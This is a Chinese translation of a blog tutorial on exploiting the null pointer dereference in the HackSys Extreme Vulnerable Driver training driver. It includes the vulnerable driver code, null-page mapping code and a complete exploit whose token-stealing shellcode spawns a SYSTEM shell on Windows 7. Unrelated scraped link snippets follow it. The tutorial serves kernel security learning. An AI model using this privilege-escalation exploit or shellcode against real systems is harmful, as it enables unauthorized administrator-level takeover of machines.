Windows 内核漏洞学习—空指针解引用
原标题:Windows Kernel Exploitation – NullPointer Dereference
原文地址:https://osandamalith.com/2017/06/22/windows-kernel-exploitation-null-pointer-dereference/
由prison翻译整理,首发i春秋
引言:Windows内核漏洞的利用和学习一直是众多白帽子心中的痛,相对于web安全来说内核学习方面的文章实在太少,今天
为大家带来的是Windows内核内核安全学习较为基础的文章,步骤完善,适合初学者。难度:三颗星
今天我要分享的是在HackSy**treme练习程序中对于空指针解引用漏洞的利用方法。
漏洞概述:资源在这: https://github.com/hacksysteam/HackSy**tremeVulnerableDriver/blob/master/Driver/NullPointerDereference.c
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)__alignof(NULL_POINTER_DEREFERENCE));
// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);
if (!NullPointerDereference) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
// Validate the magic value
if (UserValue == MagicValue) {
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else {
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}
#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
如你所见,在源代码中你可以很清楚的看到程序的一切操作。在第42行,将“userValue”与值“0xBAD0B0B0”进行比较,如果在第58行失败,则“NullPointerDereference”值被设置为NULL,在第73行中,值“NullPointerDereference”在调用回调函数之前没有被验证。
让我们把它拆开来看。可以看到,如果提供的“MagicValue”是错误的,那么“NullPointerDereference”的值将被设置为NULL,以避免指针挂起。
xor esi, esi

但是在最后一行,当回调函数被调用时,“NullPointerDereference”的值没有被验证,它是NULL。因此,这导致了一个BSOD,不过,有一个例外处理程序可以避免这一点。

测试漏洞我将使用这个驱动程序头文件中提供的IOCTL值。
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
现在将0xBAD0B0B0作为用户输入赋值给”MagicValue’

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
int _tmain(int argc, _TCHAR* argv[]) {
HANDLE hDevice;
DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver";
ULONG MagicValue = 0xBAD0B0B0;
hDevice = CreateFile(
lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n");
wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);
if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
return 1;
}
wprintf(L"[+] Sending IOCTL request\n");
DeviceIoControl(
hDevice,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
(LPVOID)&MagicValue,
NULL,
NULL,
0,
&lpBytesReturned,
NULL);
CloseHandle(hDevice);
return 0;
}
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrTest.cpp
然后你会看到,屏幕中打印出“[+] Null Pointer Dereference Object Callback”字样,这说明回调函数执行成功。
而如果我们想搞点不一样的姿势的话可以传递一个错误的“MagicValue”值,比如“0xBaadBabe”,由于异常被处理,BSOD将被阻止。
ULONG MagicValue = 0xBaadBabe;

我在这搞了个断点。
call dword ptr [esi+4]

一旦我用错误的“MagicValue”触发漏洞,我们就会碰到断点。现在的问题是在地址0×00000004上分配我们的指针到shell代码。

如何在0×4分配DWORD?
像VirtualAlloc或VirtualAlloc这样的函数不允许我们在小于0×00001000的起始地址分配内存。因此,我们将不得不使用NTAPI无参数函数的“NtAllocateVirtualMemory”来在用户空间中映射一个空页,然后,我们可以在地址0×00000004上写一个指向shell代码的指针。
NTSTATUS NtAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
https://undocumented.ntinternals.net
下面是一个示例代码,我在地址0×4中分配了值“0×12345678”
#include "stdafx.h"
#include <windows.h>
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
int _tmain(int argc, _TCHAR* argv[]) {
PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) {
wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
return -1;
}
PVOID BaseAddress = (PVOID)0x1;
SIZE_T RegionSize = 1024;
NTSTATUS ntStatus = NtAllocateVirtualMemory(
GetCurrentProcess(),
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);
PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
*(PULONG)ShellcodePtr = (ULONG)0x12345678;
}
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPage.cpp
如果我们检查内存转储,我们可以看到我们在地址0×4中成功地分配了一个DWORD。

最终利用我们现在可以综合一下上述所得到的所有线索,把我们的shell代码写到0×4并传递一个错误的“MagicValue”值来触发漏洞。
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Shlobj.h>
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
VOID TokenStealingShellcodeWin7() {
__asm {
; initialize
pushad; save registers state
xor eax, eax; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad; restore registers state
}
}
int _tmain(void)
{
HANDLE hDevice;
DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver";
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ULONG MagicValue = 0xBaadBabe;
hDevice = CreateFile(
lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n");
wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);
if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
return -1;
}
PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) {
wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
return -1;
}
PVOID BaseAddress = (PVOID)0x1;
SIZE_T RegionSize = 1024;
NTSTATUS ntStatus = NtAllocateVirtualMemory(
GetCurrentProcess(),
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);
PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
*(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7;
wprintf(L"[+] Sending IOCTL request\n");
DeviceIoControl(
hDevice,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
(LPVOID)&MagicValue,
NULL,
NULL,
0,
&lpBytesReturned,
NULL);
ZeroMemory(&si, sizeof si);
si.cb = sizeof si;
ZeroMemory(&pi, sizeof pi);
IsUserAnAdmin() ?
CreateProcess(
L"C:\\Windows\\System32\\cmd.exe",
L"/T:17",
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
(STARTUPINFO *)&si,
(PROCESS_INFORMATION *)&pi) :
wprintf(L"[!] Exploit Failed!");
CloseHandle(hDevice);
return 0;
}
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrDereference.cpp现在 在“calldword ptr [esi+4]”这个设置断点的地方, 验证我们的exp并且查看内存中0×4的位置。

然后我们检查它指向哪里,可以看出它正在指向我们的token窃取代码。

OK~大功告成,这是我们拿到的shell。

Windows 内核漏洞学习—空指针解引用的更多相关文章
- 【翻译】 Windows 内核漏洞学习—空指针解引用
Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/windo ...
- Fibratus:一款功能强大的Windows内核漏洞利用和跟踪工具
今天给大家介绍的是一款名叫Fibratus的开源工具,广大研究人员可以使用这款功能强大的工具来进行Windows内核漏洞利用.挖掘与跟踪. Fibratus这款工具能够捕捉到绝大多数的Windows内 ...
- 内核漏洞学习—熟悉HEVD
一直以来内核漏洞安全给很多人的印象就是:难,枯燥.但是内核安全是否掌握是衡量一个系统安全工程师水平的标准之一,也是安全从业人员都应该掌握的基本功.本文通过详细的实例带领读者走进内核安全的大门.难度系数 ...
- Windows内核开发-6-内核机制 Kernel Mechanisms
Windows内核开发-6-内核机制 Kernel Mechanisms 一部分Windows的内核机制对于驱动开发很有帮助,还有一部分对于内核理解和调试也很有帮助. Interrupt Reques ...
- 学习windows内核书籍推荐 ----------转自http://tieshow.iteye.com/blog/1565926
虽然,多年java,正在java,看样子还得继续java.(IT小城,还是整java随意点)应用程序 运行于操作系统之上, 晓操作系统,方更晓应用程序. 主看windows,因为可玩性高,闭源才 ...
- Windows内核驱动开发入门学习资料
声明:本文所描述的所有资料和源码均搜集自互联网,版权归原始作者所有,所以在引用资料时我尽量注明原始作者和出处:本文所搜集资料也仅供同学们学习之用,由于用作其他用途引起的责任纠纷,本人不负任何责任.(本 ...
- Linux Kernel 空指针逆向引用拒绝服务漏洞
漏洞名称: Linux Kernel 空指针逆向引用拒绝服务漏洞 CNNVD编号: CNNVD-201306-449 发布时间: 2013-07-01 更新时间: 2013-07-01 危害等级: ...
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- PHP "gdImageCreateFromXpm()"空指针间接引用漏洞
漏洞版本: PHP PHP 5.5.10 PHP PHP 5.4.26 漏洞描述: CVE ID: CVE-2014-2497 PHP是一种HTML内嵌式的语言. PHP 5.4.26.5.5.10版 ...
随机推荐
- 证书吊销列表(CRL)介绍
一.证书吊销列表(CRL) 证书吊销列表 (Certificate Revocation List ,简称: CRL) 是 PKI 系统中的一个结构化数据文件,该文件包含了证书颁发机构 (CA) 已经 ...
- 嵌入式的SQL程序设计
嵌入式的SQL程序设计 sql语句大全之嵌入式SQL 2017-01-18 16:00 来源:未知 嵌入式SQL 为了更好的理解嵌入式SQL,本节利用一个具体例子来说明.嵌入式SQL允许程序连接数 ...
- 2018.10.13 bzoj4008: [HNOI2015]亚瑟王(概率dp)
传送门 马上2点考初赛了,心里有点小紧张. 做道概率dp压压惊吧. 话说这题最开始想错了. 最开始的方法是考虑f[i][j]f[i][j]f[i][j]表示第iii轮出牌为jjj的概率. 然后用第ii ...
- 33. Pay Gap for the Brightest Female Graduatea 最聪明的大学女毕业生面临的工资差距
33. Pay Gap for the Brightest Female Graduatea 最聪明的大学女毕业生面临的工资差距 ① When young women were found to ma ...
- Radius 中 与Response Authernticator 与 Message-Authenticator的计算
/* String RequestStr3 = @"01 00 00 9E EB B2 E8 D9 1E 52 10 03 FB E1 52 39 27 58 93 F0 01 0E 33 ...
- JPEG Camer 图片上传
/* Linksprite */ #include <SoftwareSerial.h> #include <Ethernet.h> #include <SPI.h> ...
- 山东省第七届ACM竞赛 J题 Execution of Paladin (题意啊)
题意:鱼人是炉石里的一支强大种族,在探险者协会里,圣骑士有了一张新牌,叫亡者归来,效果是召唤本轮游戏中7个已死鱼人.如果死掉的不足7个,那么召唤的数量就会不足7. 鱼人有很多,下面的4个是: 寒光智者 ...
- ROM初始化HEX文件
intel hex格式 记录格式 Intel HEX由任意数量的十六进制记录组成.每个记录包含5个域,它们按以下格式排列: :llaaaatt[dd...]cc 每一组字母对应一个不同的域,每一个字母 ...
- (网络流 模板)A Plug for UNIX -- poj -- 1087
链接: http://poj.org/problem?id=1087 http://acm.hust.edu.cn/vjudge/contest/view.action?cid=82835#probl ...
- (并查集)Connections in Galaxy War -- zoj --3261 还没写
链接: http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3261 http://acm.hust.edu.cn/vjudge/ ...